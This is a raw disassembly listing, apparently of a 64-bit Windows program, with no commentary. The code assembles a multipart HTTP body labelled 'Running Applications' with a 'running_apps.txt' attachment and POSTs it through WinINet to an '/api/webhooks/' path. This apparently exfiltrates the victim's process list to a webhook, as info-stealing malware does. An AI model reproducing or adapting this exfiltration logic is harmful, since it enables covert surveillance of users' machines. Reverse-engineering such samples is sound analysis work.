lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rbx, qword [rbp]
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002f85
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
lea r9, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova r9, qword [rbp + 0x1a0]
mov eax, dword [rbp + 0x1b0]
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
lea r15, [rbp + 0x140]
cmp r12, 0xf
cmova r15, r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [rdi + 2]
mov ebx, 0xf
lea rsi, [rbp - 0x80]
cmp r14, rbx
jbe 0x14000306f
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x14000302a
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x14000305c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000306b
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003044
xor esi, esi
jmp 0x14000306b
cmp rcx, 0x1000
jb 0x140003063
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003adf
jmp 0x14000300f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006658
mov rsi, rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rbx
mov word [rsi], 0x2d2d
lea rcx, [rsi + 2]
mov r8, rdi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
mov r8d, 2
lea rdx, [0x140008aac]
lea rcx, [rbp - 0x80]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov r8d, 0x37
lea rdx, str.Content_Disposition:_form_data__name_payload_json__r_n_r_n
lea rcx, [rbp + 8]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov r8d, 0x25
lea rdx, str._content_:__Running_Applications__r_n
lea rcx, [rbp + 0x28]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov r8d, 2
lea rdx, [0x140008ab0]
lea rcx, [rbp - 0x40]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r9, [rbp + 0x140]
cmp r12, 0xf
cmova r9, r13
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000320e
lea rax, [rcx + rdi]
mov qword [rbp + 0x110], rax
lea rbx, [rbp + 0x100]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x100]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], sil
lea rax, [rbp + 0x100]
jmp 0x140003230
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x100]
call fcn.140005d20
mov rdi, qword [rbp + 0x150]
mov r13, qword [rbp + 0x140]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x140008aac]
lea rcx, [rbp - 0x60]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x4a
lea rdx, str.Content_Disposition:_form_data__name_file___filename_running_apps.txt__r_n
lea rcx, [rsp + 0x60]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x1c
lea rdx, str.Content_Type:_text_plain_r_n_r_n
lea rcx, [rsp + 0x40]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000337c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003377
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003377
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400033c7
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003410
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000340b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000340b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x50], xmm6
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000345d
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003458
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x110], xmm6
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400034aa
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x30], xmm6
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400034f1
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140003538
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003533
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003533
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000357f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000357a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000357a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400063b0
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x200]
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp + 0x120]
lea rcx, [rbp + 0x200]
call fcn.140004030
nop
mov qword [rbp + 0x100], rsi
mov word [rbp + 0x108], 1
mov rax, qword [rbp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x200]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const___ptr64]
mov qword [rbp + 0x120], rax
test rax, rax
sete byte [rbp + 0x128]
mov byte [rbp + 0x129], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], rsi
movaps xmm0, xmmword [rbp + 0x120]
movaps xmmword [rbp + 0x120], xmm0
movaps xmm6, xmmword [rbp + 0x100]
test rax, rax
je 0x14000366a
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140003650
mov byte [rbp + 0x129], al
mov rax, qword [rbp + 0x120]
mov byte [rbp + 0x128], 1
movaps xmm0, xmmword [rbp + 0x120]
jmp 0x14000366f
mov rax, rsi
mov qword [rbp + 0x120], rax
mov byte [rbp + 0x128], 1
movaps xmm0, xmmword [rbp + 0x120]
jmp 0x14000366f
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x14000374b
test rax, rax
je 0x140003754
movdqa xmmword [rbp + 0x120], xmm6
movdqa xmmword [rbp + 0x100], xmm0
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x160]
call fcn.140005ed0
mov rcx, qword [rbp + 0x178]
mov r14, qword [rbp + 0x170]
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r14
cmp rax, 2
jb 0x140003ac1
lea r12, [rbp + 0x160]
cmp rcx, 0xf
cmova r12, qword [rbp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [r14 + 2]
mov ebx, 0xf
lea rsi, [rsp + 0x40]
cmp r15, rbx
jbe 0x1400037bc
mov rbx, r15
or rbx, 0xf
cmp rbx, rdx
jbe 0x140003776
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006658
test rax, rax
je 0x1400037a8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400037b7
test rax, rax
je 0x140003686
mov r14, rsi
mov qword [rbp + 0x170], rsi
mov ecx, 0xf
mov qword [rbp + 0x178], rcx
mov byte [rbp + 0x160], r14b
jmp 0x1400036be
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003790
xor esi, esi
jmp 0x1400037b7
cmp rcx, 0x1000
jb 0x1400037af
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003ae5
jmp 0x140003730
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006658
mov rsi, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
mov r8, r14
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rsi + r14], 0xa0d
mov byte [rsi + r15], 0
mov r8d, 2
lea rdx, [0x140008ab0]
lea rcx, [rsp + 0x40]
call fcn.1400053a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r9, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova r9, r13
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x138]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000389a
lea rax, [rdi + rcx]
mov qword [rbp + 0x130], rax
lea rbx, [rbp + 0x120]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x120]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], sil
lea rax, [rbp + 0x120]
jmp 0x1400038ae
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x120]
call fcn.140005d20
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, str.___r_n
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.140005710
nop
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140005020
nop
lea rcx, [rbp - 0x60]
call fcn.140005040
nop
lea rcx, [rsp + 0x60]
call fcn.140005040
nop
lea rcx, [rbp + 0x120]
call fcn.140005040
nop
lea rcx, [rsp + 0x40]
call fcn.140005040
lea r8, [rbp + 0x1c0]
lea rdx, str._api_webhooks_
lea rcx, [rsp + 0x40]
call fcn.1400055b0
mov rcx, rax
call fcn.140004ef0
mov r8, rax
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 0x4800000
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.POST
mov rdi, qword [rbp + 0x48]
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140005040
test rbx, rbx
je 0x140003a06
lea r8, [rbp + 0x140]
lea rdx, str.Content_Type:_multipart_form_data__boundary
lea rcx, [rsp + 0x60]
call fcn.1400055b0
mov rcx, rax
call fcn.140004ef0
mov rdx, rax
mov r9d, 0xa0000000
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
lea rcx, [rsp + 0x60]
call fcn.140005040
lea rcx, [rbp + 0x1e0]
call fcn.140004ef0
mov r9, rax
mov eax, dword [rbp + 0x1f0]
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x160]
call fcn.140005040
nop
lea rcx, [rbp + 0x200]
call fcn.140003b10
nop
lea rcx, [rbp + 0x1e0]
call fcn.140005040
nop
lea rcx, [rbp + 0x180]
call fcn.140005040
nop
lea rcx, [rbp + 0x310]
call fcn.140003b10
nop
lea rcx, [rbp + 0x1a0]
call fcn.140005040
nop
lea rcx, [rbp + 0x140]
call fcn.140005040
nop
lea rcx, [rbp + 0x1c0]
call fcn.140005040
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140006390
movaps xmm6, xmmword [rsp + 0x540]
movaps xmm7, xmmword [rsp + 0x530]
add rsp, 0x558
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.1400011b0
nop
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3